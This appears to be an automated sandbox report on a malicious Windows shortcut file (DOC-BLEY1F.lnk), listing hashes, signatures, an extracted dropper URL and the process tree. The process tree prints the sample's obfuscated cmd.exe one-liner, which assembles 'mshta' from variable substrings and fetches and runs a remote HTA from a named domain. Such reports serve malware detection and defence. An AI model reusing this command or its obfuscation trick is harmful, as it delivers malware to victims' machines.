Analysis
- max time kernel
58s - max time network
58s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 04:31
Static task
static1
Behavioral task
behavioral1
Sample
DOC-BLEY1F.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-BLEY1F.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-BLEY1F.lnk
- Size 2KB
- Sample260817-e5h8wstarg
- SHA256 ce9fa507c19479099b9c5deb9f5f5c26c7ab5a485e6ccd3be6189e94eba7eb2e
- MD5 76615329de4b000c64ce04c0ac778caa
- SHA1 d25f66fbc0a68d338adaeefb8996d84973a2c71b
- SHA512 8b69ac88b9a31da0227b3d4823dd31faa6f6b62333add8332b63853b885023e1e4c49fbbe1d960213f9a6a548afea452fad41b6c37fe3c57180895357bd6f165
- TLSH T1C84197902AE800C8F2FF8E72EDBE3715497BB9968D70C98E0C80814D0422B16D937B63
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4884 cmd.exe 3512 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4884 wrote to memory of 3512 4884 cmd.exe 89 PID 3512 wrote to memory of 4712 3512 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BLEY1F.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set IXfP=cachejudyydxeacache&&set wYxu=logamlzfuvczclog&&set df=2twst0&&set voCgt=qa0bd&&set YCH=brtf&&set ETc=inffkiholsfbrwoiwcinf&&set frP=oldxgxprhzuqwgkvold&&set NvzHg=vmqmsj5c&&set bSf=wvahtow&&set KL=w5a8j&&set yw=winmwaosgptwin&&set XpO=http@s:@//ma-@p@d@ffiller@.@l@at/@h/[email protected]@h@p?@r=3914@69FB5D82DB&&start /b !NvzHg:~3,2!!bSf:~3,2!!KL:~2,1! !XpO:@=!&&set Banns=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4712
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